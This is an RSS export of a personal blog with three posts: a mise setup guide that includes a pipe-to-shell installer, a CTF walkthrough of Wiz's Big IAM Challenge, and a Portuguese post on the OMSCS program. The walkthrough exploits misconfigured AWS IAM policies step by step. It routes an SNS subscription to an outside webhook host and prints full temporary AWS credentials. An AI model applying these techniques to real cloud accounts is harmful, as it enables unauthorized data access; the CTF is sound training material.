<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Untitled Publication]]></title><description><![CDATA[Untitled Publication]]></description><link>https://blog.diofeher.net</link><generator>RSS for Node</generator><lastBuildDate>Tue, 14 Apr 2026 11:03:42 GMT</lastBuildDate><atom:link href="https://blog.diofeher.net/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Using Mise for managing multiple versions of software]]></title><description><![CDATA[This is a living document. I'll be updating as soon as I improve my setup.

I used to use asdf on my Mac OS X to manage different software versions across my projects, but I was constantly having problems due to various issues.
My manager, Yousif, ha...]]></description><link>https://blog.diofeher.net/using-mise-for-managing-multiple-versions-of-software</link><guid isPermaLink="true">https://blog.diofeher.net/using-mise-for-managing-multiple-versions-of-software</guid><category><![CDATA[tooling]]></category><category><![CDATA[dev tools]]></category><dc:creator><![CDATA[Diógenes Fernandes]]></dc:creator><pubDate>Thu, 02 Oct 2025 23:44:26 GMT</pubDate><content:encoded><![CDATA[<blockquote>
<p>This is a living document. I'll be updating as soon as I improve my setup.</p>
</blockquote>
<p>I used to use asdf on my Mac OS X to manage different software versions across my projects, but I was constantly having problems due to various issues.</p>
<p>My manager, Yousif, has recommended a tool that he has been using on a lot of projects at Gruntwork, including Terragrunt: <a target="_blank" href="https://github.com/gruntwork-io/terragrunt/blob/main/mise.toml">https://github.com/gruntwork-io/terragrunt/blob/main/mise.toml</a></p>
<p>I've been using it for a few days, and my experience is way better than using asdf so far. I'm writing this guide to help others, but also to remind myself of my own setup.</p>
<h2 id="heading-installation">Installation</h2>
<p>Mise is available in different package managers, but I chose to set up with their own required shell script:</p>
<pre><code class="lang-bash">curl https://mise.run | sh
</code></pre>
<p>I've previously installed <code>mise</code> with <code>homebrew</code>, but I decided to change the setup because installing with Homebrew doesn't allow me to use <code>mise self-update</code> to update <code>mise</code>'s version.</p>
<h2 id="heading-integration-with-zsh">Integration with Zsh</h2>
<p>After <code>mise</code> is installed, it's suggested to add it to your shell configuration profile.</p>
<p>There's one line added to my <code>~/.zshrc</code> file to activate <code>mise</code>:</p>
<pre><code class="lang-bash"><span class="hljs-built_in">eval</span> <span class="hljs-string">"<span class="hljs-subst">$(/Users/diogenesaherminio/.local/bin/mise activate zsh)</span>"</span>
</code></pre>
<h2 id="heading-integration-with-vscode">Integration with VSCode</h2>
<p>I'm using this excellent VSCode extension for the whole integration with my Go environment: <a target="_blank" href="https://hverlin.github.io/mise-vscode/guides/golang/">https://hverlin.github.io/mise-vscode/guides/golang/</a></p>
<p>What does that mean? You create one <code>mise.toml</code> at the root of the project, similar to this one:</p>
<pre><code class="lang-ini"><span class="hljs-section">[tools]</span>
<span class="hljs-attr">go</span> = <span class="hljs-string">"1.25.0"</span>
<span class="hljs-attr">golangci-lint</span> = <span class="hljs-string">"2.4.0"</span>
<span class="hljs-attr">"go:github.com/goph/licensei/cmd/licensei"</span> = <span class="hljs-string">"v0.9.0"</span>
<span class="hljs-attr">"go:go.uber.org/mock/mockgen"</span> = <span class="hljs-string">"v0.6.0"</span>
<span class="hljs-attr">"go:golang.org/x/tools/gopls"</span> = <span class="hljs-string">"v0.20.0"</span>
</code></pre>
<p>And then all the Go binaries, such as goimports, are set up for both my terminal and VSCode.</p>
<h2 id="heading-what-if-theres-no-misetoml-in-the-folder-youre-in">What if there's no <code>mise.toml</code> in the folder you're in?</h2>
<p>mise offers a possibility to have global defaults for the tool you're trying to use. To use them, you need to run (using go as an example):</p>
<pre><code class="lang-bash">mise use -g go@1.25
</code></pre>
<p>This will make the <code>go</code> binary available to your terminal globally, but the specific version required by your project will be used if you're in any folder of that project.</p>
<p>This configuration is saved at <code>~/.config/mise/config.toml</code> :</p>
<pre><code class="lang-bash">cat ~/.config/mise/config.toml
[tools]
go = <span class="hljs-string">"1.25"</span>
</code></pre>
]]></content:encoded></item><item><title><![CDATA[BigIAMChallenge]]></title><description><![CDATA[EDIT: I decided to redact the requests to make sure the readers are following the steps to receive the flag as well.
This CTF challenge was created by Wiz.io to help engineers better understand how IAM Policies work.
Challenge #1
The first challenge ...]]></description><link>https://blog.diofeher.net/big-iam-challenge</link><guid isPermaLink="true">https://blog.diofeher.net/big-iam-challenge</guid><category><![CDATA[Cloud]]></category><category><![CDATA[AWS]]></category><category><![CDATA[Security]]></category><category><![CDATA[IAM]]></category><dc:creator><![CDATA[Diógenes Fernandes]]></dc:creator><pubDate>Sat, 09 Aug 2025 16:14:08 GMT</pubDate><content:encoded><![CDATA[<p><strong>EDIT: I decided to redact the requests to make sure the readers are following the steps to receive the flag as well.</strong></p>
<p>This CTF challenge was created by <a target="_blank" href="http://Wiz.io">Wiz.io</a> to help engineers better understand how IAM Policies work.</p>
<h2 id="heading-challenge-1"><strong>Challenge #1</strong></h2>
<p>The first challenge presents you with the following IAM Policy:</p>
<pre><code class="lang-json">{
    <span class="hljs-attr">"Version"</span>: <span class="hljs-string">"2012-10-17"</span>,
    <span class="hljs-attr">"Statement"</span>: [
        {
            <span class="hljs-attr">"Effect"</span>: <span class="hljs-string">"Allow"</span>,
            <span class="hljs-attr">"Principal"</span>: <span class="hljs-string">"*"</span>,
            <span class="hljs-attr">"Action"</span>: <span class="hljs-string">"s3:GetObject"</span>,
            <span class="hljs-attr">"Resource"</span>: <span class="hljs-string">"arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*"</span>
        },
        {
            <span class="hljs-attr">"Effect"</span>: <span class="hljs-string">"Allow"</span>,
            <span class="hljs-attr">"Principal"</span>: <span class="hljs-string">"*"</span>,
            <span class="hljs-attr">"Action"</span>: <span class="hljs-string">"s3:ListBucket"</span>,
            <span class="hljs-attr">"Resource"</span>: <span class="hljs-string">"arn:aws:s3:::thebigiamchallenge-storage-9979f4b"</span>,
            <span class="hljs-attr">"Condition"</span>: {
                <span class="hljs-attr">"StringLike"</span>: {
                    <span class="hljs-attr">"s3:prefix"</span>: <span class="hljs-string">"files/*"</span>
                }
            }
        }
    ]
}
</code></pre>
<p>The main problem with the policy above lies in the permissions granted for <strong>ListBucket</strong>. <code>StringLike</code> allows access if the specified conditions are met. The condition above is <code>s3:prefix: files/*</code> means that any query with this prefix will be allowed:</p>
<pre><code class="lang-bash">$ aws s3 ls s3://thebigiamchallenge-storage-9979f4b/files/
2023-06-05 16:13:53         37 flag1.txt
2023-06-08 16:18:24      81889 logo.png

$ aws s3 cp s3://thebigiamchallenge-storage-9979f4b/files/flag1.txt .
download: s3://thebigiamchallenge-storage-9979f4b/files/flag1.txt to ./flag1.txt

$ cat flag1.txt
{wiz:exposed-***}
</code></pre>
<p>This way you can access files that shouldn't be supposed to be visible.</p>
<h2 id="heading-challenge-2"><strong>Challenge #2</strong></h2>
<p>The IAM policy for this challenge is:</p>
<pre><code class="lang-json">{
    <span class="hljs-attr">"Version"</span>: <span class="hljs-string">"2012-10-17"</span>,
    <span class="hljs-attr">"Statement"</span>: [
        {
            <span class="hljs-attr">"Effect"</span>: <span class="hljs-string">"Allow"</span>,
            <span class="hljs-attr">"Principal"</span>: <span class="hljs-string">"*"</span>,
            <span class="hljs-attr">"Action"</span>: [
                <span class="hljs-string">"sqs:SendMessage"</span>,
                <span class="hljs-string">"sqs:ReceiveMessage"</span>
            ],
            <span class="hljs-attr">"Resource"</span>: <span class="hljs-string">"arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2"</span>
        }
    ]
}
</code></pre>
<p>The solution is pretty simple. Using AWS CLI:</p>
<pre><code class="lang-bash">aws sqs receive-message --queue-url \
  https://sqs.us-east-1.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2
</code></pre>
<p>We can read the body of a message that points to a file in a S3 Bucket.</p>
<pre><code class="lang-bash">curl https://tbic-wiz-analytics-bucket-b44867f.s3.amazonaws.com/pAXCWLa6ql.html
{wiz:you-***}
</code></pre>
<h2 id="heading-challenge-3"><strong>Challenge #3</strong></h2>
<pre><code class="lang-json">{
    <span class="hljs-attr">"Version"</span>: <span class="hljs-string">"2008-10-17"</span>,
    <span class="hljs-attr">"Id"</span>: <span class="hljs-string">"Statement1"</span>,
    <span class="hljs-attr">"Statement"</span>: [
        {
            <span class="hljs-attr">"Sid"</span>: <span class="hljs-string">"Statement1"</span>,
            <span class="hljs-attr">"Effect"</span>: <span class="hljs-string">"Allow"</span>,
            <span class="hljs-attr">"Principal"</span>: {
                <span class="hljs-attr">"AWS"</span>: <span class="hljs-string">"*"</span>
            },
            <span class="hljs-attr">"Action"</span>: <span class="hljs-string">"SNS:Subscribe"</span>,
            <span class="hljs-attr">"Resource"</span>: <span class="hljs-string">"arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications"</span>,
            <span class="hljs-attr">"Condition"</span>: {
                <span class="hljs-attr">"StringLike"</span>: {
                    <span class="hljs-attr">"sns:Endpoint"</span>: <span class="hljs-string">"*@tbic.wiz.io"</span>
                }
            }
        }
    ]
}
</code></pre>
<p>Always be cautious when you see an asterisk. My solution exploited this vulnerability by using:</p>
<pre><code class="lang-bash">aws sns subscribe \
    --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications \
    --protocol https \
    --notification-endpoint https://webhook.site/4c27ac43-4a2-472c-9ae4-430db98850e0/?a=@tbic.wiz.io
</code></pre>
<p>Webhook is very useful for testing XSS payloads. I use it a lot when I'm playing CTFs, so it was the first thing that came to mind for this challenge. You can always create a local server and expose to the internet using <code>ngrok</code> too.</p>
<p>After you receive a subscription url and click on it, you are going to receive the flag in another request:</p>
<pre><code class="lang-plaintext">{wiz:always-****}
</code></pre>
<p><strong>Challenge #4</strong></p>
<pre><code class="lang-json">{
    <span class="hljs-attr">"Version"</span>: <span class="hljs-string">"2012-10-17"</span>,
    <span class="hljs-attr">"Statement"</span>: [
        {
            <span class="hljs-attr">"Effect"</span>: <span class="hljs-string">"Allow"</span>,
            <span class="hljs-attr">"Principal"</span>: <span class="hljs-string">"*"</span>,
            <span class="hljs-attr">"Action"</span>: <span class="hljs-string">"s3:GetObject"</span>,
            <span class="hljs-attr">"Resource"</span>: <span class="hljs-string">"arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321/*"</span>
        },
        {
            <span class="hljs-attr">"Effect"</span>: <span class="hljs-string">"Allow"</span>,
            <span class="hljs-attr">"Principal"</span>: <span class="hljs-string">"*"</span>,
            <span class="hljs-attr">"Action"</span>: <span class="hljs-string">"s3:ListBucket"</span>,
            <span class="hljs-attr">"Resource"</span>: <span class="hljs-string">"arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321"</span>,
            <span class="hljs-attr">"Condition"</span>: {
                <span class="hljs-attr">"StringLike"</span>: {
                    <span class="hljs-attr">"s3:prefix"</span>: <span class="hljs-string">"files/*"</span>
                },
                <span class="hljs-attr">"ForAllValues:StringLike"</span>: {
                    <span class="hljs-attr">"aws:PrincipalArn"</span>: <span class="hljs-string">"arn:aws:iam::133713371337:user/admin"</span>
                }
            }
        }
    ]
}
</code></pre>
<p>The solution bypasses the <code>ForAllValues:StringLike</code> condition by using:</p>
<pre><code class="lang-bash">$ aws s3 ls s3://thebigiamchallenge-admin-storage-abf1321/files/ --no-sign-request
2023-06-07 16:15:43         42 flag-as-admin.txt
2023-06-08 16:20:01      81889 logo-admin.png

$ aws s3 cp s3://thebigiamchallenge-admin-storage-abf1321/files/flag-as-ad
min.txt .
download: s3://thebigiamchallenge-admin-storage-abf1321/files/flag-as-admin.txt to ./flag-as-admin.txt
</code></pre>
<p>The solution is inside the text file:</p>
<pre><code class="lang-bash">{wiz:principal-arn-***}
</code></pre>
<h2 id="heading-challenge-5"><strong>Challenge #5</strong></h2>
<p>The next challenge provides you with the following IAM policy:</p>
<pre><code class="lang-json">{
    <span class="hljs-attr">"Version"</span>: <span class="hljs-string">"2012-10-17"</span>,
    <span class="hljs-attr">"Statement"</span>: [
        {
            <span class="hljs-attr">"Sid"</span>: <span class="hljs-string">"VisualEditor0"</span>,
            <span class="hljs-attr">"Effect"</span>: <span class="hljs-string">"Allow"</span>,
            <span class="hljs-attr">"Action"</span>: [
                <span class="hljs-string">"mobileanalytics:PutEvents"</span>,
                <span class="hljs-string">"cognito-sync:*"</span>
            ],
            <span class="hljs-attr">"Resource"</span>: <span class="hljs-string">"*"</span>
        },
        {
            <span class="hljs-attr">"Sid"</span>: <span class="hljs-string">"VisualEditor1"</span>,
            <span class="hljs-attr">"Effect"</span>: <span class="hljs-string">"Allow"</span>,
            <span class="hljs-attr">"Action"</span>: [
                <span class="hljs-string">"s3:GetObject"</span>,
                <span class="hljs-string">"s3:ListBucket"</span>
            ],
            <span class="hljs-attr">"Resource"</span>: [
                <span class="hljs-string">"arn:aws:s3:::wiz-privatefiles"</span>,
                <span class="hljs-string">"arn:aws:s3:::wiz-privatefiles/*"</span>
            ]
        }
    ]
}
</code></pre>
<p>By getting the credentials from the browser console by using: (probably that's not the intended solve :D)</p>
<pre><code class="lang-json">AWS.config.credentials
</code></pre>
<p>This allows you to see the temporary credentials needed to access Cognito. After pasting the credentials into the shell, you can see the flag:</p>
<pre><code class="lang-json">➜  ~ aws s3 ls s3:<span class="hljs-comment">//wiz-privatefiles/</span>
<span class="hljs-number">2023</span><span class="hljs-number">-06</span><span class="hljs-number">-05</span> <span class="hljs-number">16</span>:<span class="hljs-number">42</span>:<span class="hljs-number">27</span>       <span class="hljs-number">4220</span> cognito1.png
<span class="hljs-number">2023</span><span class="hljs-number">-06</span><span class="hljs-number">-05</span> <span class="hljs-number">10</span>:<span class="hljs-number">28</span>:<span class="hljs-number">35</span>         <span class="hljs-number">37</span> flag1.txt

➜  ~ cat flag1.txt
{wiz:incognito-***}
</code></pre>
<p><strong>Challenge #6</strong></p>
<pre><code class="lang-json">{
    <span class="hljs-attr">"Version"</span>: <span class="hljs-string">"2012-10-17"</span>,
    <span class="hljs-attr">"Statement"</span>: [
        {
            <span class="hljs-attr">"Effect"</span>: <span class="hljs-string">"Allow"</span>,
            <span class="hljs-attr">"Principal"</span>: {
                <span class="hljs-attr">"Federated"</span>: <span class="hljs-string">"cognito-identity.amazonaws.com"</span>
            },
            <span class="hljs-attr">"Action"</span>: <span class="hljs-string">"sts:AssumeRoleWithWebIdentity"</span>,
            <span class="hljs-attr">"Condition"</span>: {
                <span class="hljs-attr">"StringEquals"</span>: {
                    <span class="hljs-attr">"cognito-identity.amazonaws.com:aud"</span>: <span class="hljs-string">"us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"</span>
                }
            }
        }
    ]
}
</code></pre>
<p>The first step is to get the Id of the pool using the following command:</p>
<pre><code class="lang-json">$ aws cognito-identity get-id --identity-pool-id us-east<span class="hljs-number">-1</span>:b73cb2d2<span class="hljs-number">-0</span>d00<span class="hljs-number">-4e77</span><span class="hljs-number">-8e80</span>-f99d9c13da3b
{
    <span class="hljs-attr">"IdentityId"</span>: <span class="hljs-string">"us-east-1:157d6171-ee58-ccb6-9df3-dc9103b53884"</span>
}
</code></pre>
<p>Then, you authenticate with:</p>
<pre><code class="lang-json">➜  ~ aws cognito-identity get-open-id-token --identity-id us-east<span class="hljs-number">-1</span>:<span class="hljs-number">40937</span>fe8<span class="hljs-number">-22</span>d8<span class="hljs-number">-41</span>da<span class="hljs-number">-959</span>a-bb32296491af | cat
{
    <span class="hljs-attr">"IdentityId"</span>: <span class="hljs-string">"us-east-1:40937fe8-22d8-41da-959a-bb32296491af"</span>,
    <span class="hljs-attr">"Token"</span>: <span class="hljs-string">"eyJraWQiOiJ1cy1lYXN0LTEtNiIsInR5cCI6IkpXUyIsImFsZyI6IlJTNTEyIn0.eyJzdWIiOiJ1cy1lYXN0LTE6NDA5MzdmZTgtMjJkOC00MWRhLTk1OWEtYmIzMjI5NjQ5MWFmIiwiYXVkIjoidXMtZWFzdC0xOmI3M2NiMmQyLTBkMDAtNGU3Ny04ZTgwLWY5OWQ5YzEzZGEzYiIsImFtciI6WyJ1bmF1dGhlbnRpY2F0ZWQiXSwiaXNzIjoiaHR0cHM6Ly9jb2duaXRvLWlkZW50aXR5LmFtYXpvbmF3cy5jb20iLCJleHAiOjE3MjEyNDY1MTksImlhdCI6MTcyMTI0NTkxOX0.ZNcxiRY6JAk2O7aTH34x16Eg_dG6yNZvUR4NWrThmohGXgulJcIgHca2nMby7aaLEENw_RNgNb3ckKZ74DpUnYf9eTwmcm1oHaqU6-OfztV7Mx23nr0VAfQI5X1dLmgh4AMW6u3draLxc1hGnhNobYIxYMbRLTpFsuTxDKV_G_2keuDqi5QQgS1ENuPXJX0fBq7VRHqdfsoAcJqR5oMYJWSsc5dDC2lsKsSDsz0qAtUscrnqzrTuLMV7qZVMHf_YIsO3AXMnYMfywJO3NpmDlNN6MBNPnKNEUOVEvPMRKeAVxpJVOHZYBmaUSaOmz4cEdoE7uCAFNZTGqPuCdkWKwg"</span>
}
</code></pre>
<p>Then:</p>
<pre><code class="lang-json">➜  ~ aws sts assume-role-with-web-identity --role-arn arn:aws:iam::<span class="hljs-number">092297851374</span>:role/Cognito_s3accessAuth_Role --role-session-name diofeher --web-identity-token eyJraWQiOiJ1cy1lYXN0LTEtNiIsInR5cCI6IkpXUyIsImFsZyI6IlJTNTEyIn0.eyJzdWIiOiJ1cy1lYXN0LTE6NDA5MzdmZTgtMjJkOC00MWRhLTk1OWEtYmIzMjI5NjQ5MWFmIiwiYXVkIjoidXMtZWFzdC0xOmI3M2NiMmQyLTBkMDAtNGU3Ny04ZTgwLWY5OWQ5YzEzZGEzYiIsImFtciI6WyJ1bmF1dGhlbnRpY2F0ZWQiXSwiaXNzIjoiaHR0cHM6Ly9jb2duaXRvLWlkZW50aXR5LmFtYXpvbmF3cy5jb20iLCJleHAiOjE3MjEyNDY1MTksImlhdCI6MTcyMTI0NTkxOX0.ZNcxiRY6JAk2O7aTH34x16Eg_dG6yNZvUR4NWrThmohGXgulJcIgHca2nMby7aaLEENw_RNgNb3ckKZ74DpUnYf9eTwmcm1oHaqU6-OfztV7Mx23nr0VAfQI5X1dLmgh4AMW6u3draLxc1hGnhNobYIxYMbRLTpFsuTxDKV_G_2keuDqi5QQgS1ENuPXJX0fBq7VRHqdfsoAcJqR5oMYJWSsc5dDC2lsKsSDsz0qAtUscrnqzrTuLMV7qZVMHf_YIsO3AXMnYMfywJO3NpmDlNN6MBNPnKNEUOVEvPMRKeAVxpJVOHZYBmaUSaOmz4cEdoE7uCAFNZTGqPuCdkWKwg | cat
{
    <span class="hljs-attr">"Credentials"</span>: {
        <span class="hljs-attr">"AccessKeyId"</span>: <span class="hljs-string">"ASIARK7LBOHXCEB2J3EI"</span>,
        <span class="hljs-attr">"SecretAccessKey"</span>: <span class="hljs-string">"rCEOwjWOlMwfDPMg7N5biK5tIGo34Q0IhuD5L5CS"</span>,
        <span class="hljs-attr">"SessionToken"</span>: <span class="hljs-string">"IQoJb3JpZ2luX2VjECwaCXVzLWVhc3QtMSJIMEYCIQDLmZHdbY1Na1egTIh/SB9nn+dCfvbV7E4RMrgrqIXztQIhAKVrUattduDWKZobSKIkpaj6muwLac7wOBaIUWSU3Ij7KpIDCPX//////////wEQABoMMDkyMjk3ODUxMzc0IgyWlfAqqr41LKYHBm4q5gIl7cw7vDta6c+GxKGkMTdW/yccmC5LYDaoDlSImGqRg1yEI2YDtPkSWhuwziIODGLL7vHMPzvTwdoULy7DGck7a2ECjG4Ucoj8YND3zK9hpo8FKUVEN0QYW/oWx8l12Ia7wh6iYYB2NqP9cDKx+S7xUNh6V/VYIeyY64Q4g9CGZTUZbAGVpGMidmzft7Sx3cKFDSoudf7xO+dl38pL/tK6IRQpCFKoQvLumrxs/3oZAfBjyoMEfllgUTyS5SonfYAYJprJKO9ktwW1tJXmCSgVu9KYU3oiK5d/oyPm2D7nbIwBTp/eJLX8LZEFTLBVTbE2t7mgW7pSXGXncKvzFuBz68GWErVZwX7gzJ2mn+GtAtC4XedM1Pbl5+P/me86QWoTCCfj3UWCKRCq9Z2LtzAurpOWCSDsYb2zW1gurduwyH4Ir2QwUQH+2vZYy/tAJJUOOs1SW6tD9WoCluIOgs0QhSGodWnEMLHC4LQGOoYCgX4/8GKx6gWqiui+T+JxAL9mVWydyIG722FPAAhsqTprxRqDRzPANE3Rek7vQnrzIYXqxvSxX4EHopnI+9qowa17Q+DD5kbEbpt+CNKVILyeyjtrlgC1pIGrDJCeARYgM4SORdU0KCwz86Pvd8KGRgzogd4C8342jgYAALkSIWJHvCmesVqz0GyDWV01N99dpfTpYVcmdgo4w18UCfRFrjKDsdiB0lK+JhPfgpy7I9EHhKZAZPrR9SsBlChnI1aoSbqK+BEHEfLW/r0xYm0iLyhXQVxiFLaOzKvgZELtAFDIyfN7xJiSm+L8qMZVLIfR9prwzp4rGTRWzG3uKfZPAORmYX+Ehg=="</span>,
        <span class="hljs-attr">"Expiration"</span>: <span class="hljs-string">"2024-07-17T20:53:21+00:00"</span>
    },
    <span class="hljs-attr">"SubjectFromWebIdentityToken"</span>: <span class="hljs-string">"us-east-1:40937fe8-22d8-41da-959a-bb32296491af"</span>,
    <span class="hljs-attr">"AssumedRoleUser"</span>: {
        <span class="hljs-attr">"AssumedRoleId"</span>: <span class="hljs-string">"AROARK7LBOHXASFTNOIZG:diofeher"</span>,
        <span class="hljs-attr">"Arn"</span>: <span class="hljs-string">"arn:aws:sts::092297851374:assumed-role/Cognito_s3accessAuth_Role/diofeher"</span>
    },
    <span class="hljs-attr">"Provider"</span>: <span class="hljs-string">"cognito-identity.amazonaws.com"</span>,
    <span class="hljs-attr">"Audience"</span>: <span class="hljs-string">"us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"</span>
}
</code></pre>
<p>After exporting these credentials to the shell, we can access:</p>
<pre><code class="lang-json">➜  ~ aws s3 ls
<span class="hljs-number">2024</span><span class="hljs-number">-06</span><span class="hljs-number">-06</span> <span class="hljs-number">03</span>:<span class="hljs-number">21</span>:<span class="hljs-number">35</span> challenge-website-storage<span class="hljs-number">-1</span>fa5073
<span class="hljs-number">2024</span><span class="hljs-number">-06</span><span class="hljs-number">-06</span> <span class="hljs-number">05</span>:<span class="hljs-number">25</span>:<span class="hljs-number">59</span> payments-system-cd6e4ba
<span class="hljs-number">2023</span><span class="hljs-number">-06</span><span class="hljs-number">-04</span> <span class="hljs-number">14</span>:<span class="hljs-number">07</span>:<span class="hljs-number">29</span> tbic-wiz-analytics-bucket-b44867f
<span class="hljs-number">2023</span><span class="hljs-number">-06</span><span class="hljs-number">-05</span> <span class="hljs-number">10</span>:<span class="hljs-number">07</span>:<span class="hljs-number">44</span> thebigiamchallenge-admin-storage-abf1321
<span class="hljs-number">2023</span><span class="hljs-number">-06</span><span class="hljs-number">-04</span> <span class="hljs-number">13</span>:<span class="hljs-number">31</span>:<span class="hljs-number">02</span> thebigiamchallenge-storage<span class="hljs-number">-9979</span>f4b
<span class="hljs-number">2023</span><span class="hljs-number">-06</span><span class="hljs-number">-05</span> <span class="hljs-number">10</span>:<span class="hljs-number">28</span>:<span class="hljs-number">31</span> wiz-privatefiles
<span class="hljs-number">2023</span><span class="hljs-number">-06</span><span class="hljs-number">-05</span> <span class="hljs-number">10</span>:<span class="hljs-number">28</span>:<span class="hljs-number">31</span> wiz-privatefiles-x1000

➜  ~ aws s3 ls s3:<span class="hljs-comment">//wiz-privatefiles-x1000</span>
<span class="hljs-number">2023</span><span class="hljs-number">-06</span><span class="hljs-number">-05</span> <span class="hljs-number">16</span>:<span class="hljs-number">42</span>:<span class="hljs-number">27</span>       <span class="hljs-number">4220</span> cognito2.png
<span class="hljs-number">2023</span><span class="hljs-number">-06</span><span class="hljs-number">-05</span> <span class="hljs-number">10</span>:<span class="hljs-number">28</span>:<span class="hljs-number">35</span>         <span class="hljs-number">40</span> flag2.txt

➜  ~ aws s3 cp  s3:<span class="hljs-comment">//wiz-privatefiles-x1000/flag2.txt .</span>
cat fCompleted <span class="hljs-number">40</span> Bytes/<span class="hljs-number">40</span> Bytes (<span class="hljs-number">83</span> Bytes/s) with <span class="hljs-number">1</span> file(s) rdownload: s3:<span class="hljs-comment">//wiz-privatefiles-x1000/flag2.txt to ./flag2.txt</span>
la%
➜  ~ cat flag2.txt
{wiz:open-***}
</code></pre>
<p>If you're up for the challenges, please try to solve them on your own first. That way, if you get stuck, you can use this post to help unblock yourself.</p>
<p>Have fun!</p>
]]></content:encoded></item><item><title><![CDATA[Minha experiência no OMSCS da Georgia Tech]]></title><description><![CDATA[Olá, tudo bem?
Frequentemente recebo mensagens de pessoas no Linkedin interessadas em aplicar pra um mestrado remoto no Estados Unidos. Em dezembro de 2024, concluí o que fiz na Georgia Tech, nos Estados Unidos, totalmente remoto. Vou elencar todo o ...]]></description><link>https://blog.diofeher.net/minha-experiencia-no-omscs-da-georgia-tech</link><guid isPermaLink="true">https://blog.diofeher.net/minha-experiencia-no-omscs-da-georgia-tech</guid><category><![CDATA[mestrado]]></category><category><![CDATA[Masters]]></category><category><![CDATA[omscs]]></category><category><![CDATA[Computer Science]]></category><dc:creator><![CDATA[Diógenes Fernandes]]></dc:creator><pubDate>Tue, 21 Jan 2025 12:57:21 GMT</pubDate><content:encoded><![CDATA[<p>Olá, tudo bem?</p>
<p>Frequentemente recebo mensagens de pessoas no Linkedin interessadas em aplicar pra um mestrado remoto no Estados Unidos. Em dezembro de 2024, concluí o que fiz na Georgia Tech, nos Estados Unidos, totalmente remoto. Vou elencar todo o processo de seleção, disciplinas e minha experiência como estudante trabalhando full-time ao mesmo tempo.</p>
<h2 id="heading-processo-de-selecao">Processo de seleção</h2>
<p><a target="_blank" href="https://omscs.gatech.edu/admission-criteria">https://omscs.gatech.edu/admission-criteria</a></p>
<ul>
<li><p>Bacharelado (ou equivalente) com nota superior a 3. Traduzindo pro sistema brasileiro, 7.5 é a nota necessária.</p>
</li>
<li><p>3 referências de colegas e ex-professores.</p>
</li>
<li><p>Nota mínima em testes de inglês <a target="_blank" href="https://grad.gatech.edu/degree-programs/computer-science-online">https://grad.gatech.edu/degree-programs/computer-science-online</a></p>
<ul>
<li><p>7.5 para IELTS (nota minima 6.5 para <em>Listening</em>, <em>Speaking</em> e <em>Reading</em>, 5.5 para Writing);</p>
</li>
<li><p>100 para TOEFL, com nota mínima de 19 para cada sessão;</p>
</li>
</ul>
</li>
</ul>
<p>No meu caso, minha graduação foi um Tecnólogo em Sistemas para internet. Também havia terminado uma pós-gradução em Cibersegurança e Ethical Hacking. Não sei se teriam me admitido sem a pós, mas mandando os dois diplomas foi o suficiente para ser aceito.</p>
<p>Quando fiz a aplicação, minha nota no TOEFL foi 99, porém na minha época a nota de admissão era 90. Recentemente eles mudaram para 100, então como fiz a prova sem me preparar na época, recomendo que se preparem para evitar surpresas.</p>
<h2 id="heading-especializacoes">Especializações</h2>
<p><a target="_blank" href="https://omscs.gatech.edu/specializations">https://omscs.gatech.edu/specializations</a></p>
<p>Ao ter entrado no programa, você precisa escolher uma especialização para poder saber quais são as discliplinas obrigatórias que você precisa fazer.</p>
<p>São elas:</p>
<ol>
<li><p>Computing Systems</p>
</li>
<li><p>Computer Graphics</p>
</li>
<li><p>Computational Perception and Robotics</p>
</li>
<li><p>Human-Computer Interaction</p>
</li>
<li><p>Interactive Intelligence</p>
</li>
<li><p>Machine Learning</p>
</li>
</ol>
<p>Como entrei com o objetivo de aprender mais sobre Ciência da Computação, acabei escolhendo a especialização de Computing Systems.</p>
<h2 id="heading-disciplinas">Disciplinas</h2>
<p>Na especialização de Computing Systems, existe somente uma disciplina obrigatória, que pode ser a 6505 ou a 6515 (as duas são relacionadas a algoritmos), e também você deve escolher mais duas entre:</p>
<ul>
<li><p><strong>CS 6210 Advanced Operating Systems</strong></p>
</li>
<li><p>CS 6241 Compiler Design</p>
</li>
<li><p><strong>CS 6250 Computer Networks</strong></p>
</li>
<li><p>CS 6290 High-Performance Computer Architecture</p>
</li>
<li><p>CS 6300 Software Development Process or CS 6301 Advanced Topics in Software Engineering</p>
</li>
<li><p>CS 6390 Programming Languages</p>
</li>
<li><p>CS 6400 Database Systems Concepts and Design</p>
</li>
</ul>
<p>Dessas, peguei a 6210 (Sistemas operacionais avançados), 6250 (rede de computadores).</p>
<p>Você também precisa escolher 3 eletivas, no mínimo, entre elas:</p>
<ul>
<li><p><strong>CS 6035 Introduction to Information Security</strong></p>
</li>
<li><p><strong>CS 6200 Graduate Introduction to Operating Systems​</strong></p>
</li>
<li><p><strong>CS 6262 Network Security</strong></p>
</li>
<li><p><strong>CS 6340 Software Analysis and Testing</strong></p>
</li>
</ul>
<p>A lista completa pode ser acessada <a target="_blank" href="https://omscs.gatech.edu/specialization-computing-systems">aqui</a>. Dessas que peguei, gostei de todas, porém algumas não eram tão difíceis, como a de introdução a segurança da informação. Optei em escolhê-la para descansar um pouco, pois trabalhar e estudar é bem puxado. Para completar as 3 que faltavam, optei por essas outras 3 disciplinas:</p>
<ul>
<li><p>AI Ethics Society</p>
</li>
<li><p>ST: GPU hardware and software</p>
</li>
<li><p>Intro Analytics Modeling</p>
</li>
</ul>
<p>A única dessas 3 que recomendo é a da GPU, aprendi bastante sobre programação paralela e pude implementar vários projetos diferentes em CUDA e em projetos baixo-nível em simulações escritas em Python.</p>
<h3 id="heading-formato-das-aulas">Formato das Aulas</h3>
<p>O formato das aulas varia bastante de disciplina pra disciplina. Normalmente as aulas são gravadas, e toda semana tem um office hours em que você pode tirar suas dúvidas. Na de algoritmos, por exemplo, toda quarta tem office hours e eles ficam gravados, porém você não pode baixar e eles duram até o final do período.</p>
